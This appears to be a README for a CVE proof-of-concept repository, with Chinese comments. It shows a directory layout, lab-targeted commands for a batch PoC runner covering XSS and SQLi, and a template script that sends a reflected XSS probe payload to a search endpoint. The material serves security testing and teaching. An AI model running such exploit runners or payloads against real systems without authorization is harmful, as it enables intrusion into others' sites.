CVE-PoC-Hub/
├── README.md
├── CVE-2026-XXXXX/           # 每个 CVE 拥有独立文件夹
│   ├── README.md              # 描述 + 步骤
│   ├── exploit.py             # 可运行的 PoC
│   └── screenshot.png         # 漏洞利用证明截图
├── templates/
│   └── poc-template.py        # 标准 PoC 模板
└── poc-runner.py              # 批量 PoC 运行器

git clone https://github.com/javokhir-sec/CVE-PoC-Hub.git
cd CVE-PoC-Hub

# 列出所有可用 PoC
python poc-runner.py --list

# 运行特定 PoC（在实验室环境中）
python poc-runner.py --cve CVE-2026-XXXXX --target http://lab-target.local

#!/usr/bin/env python3
"""
CVE-YYYY-XXXXX: [Vulnerability Type] in [Product]
CVSS: X.X | Severity: Critical/High/Medium/Low
Author: @javokhir-sec
"""

import requests
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"

def exploit(target):
    """Execute the exploit and return True if vulnerable."""
    print(f"[*] Testing {target} for CVE-YYYY-XXXXX")

    # Step 1: Send malicious request
    payload = "<script>alert(1)</script>"
    r = requests.get(f"{target}/search?q={payload}")

    # Step 2: Verify exploitation
    if payload in r.text:
        print(f"[+] VULNERABLE! Payload reflected in response.")
        return True
    else:
        print(f"[-] Not vulnerable.")
        return False

if __name__ == "__main__":
    exploit(TARGET)

# 针对目标运行所有 XSS PoC
python poc-runner.py --category xss --target http://lab.local

# 运行所有 SQLi PoC
python poc-runner.py --category sqli --target http://lab.local

# 运行特定严重级别
python poc-runner.py --severity critical --target http://lab.local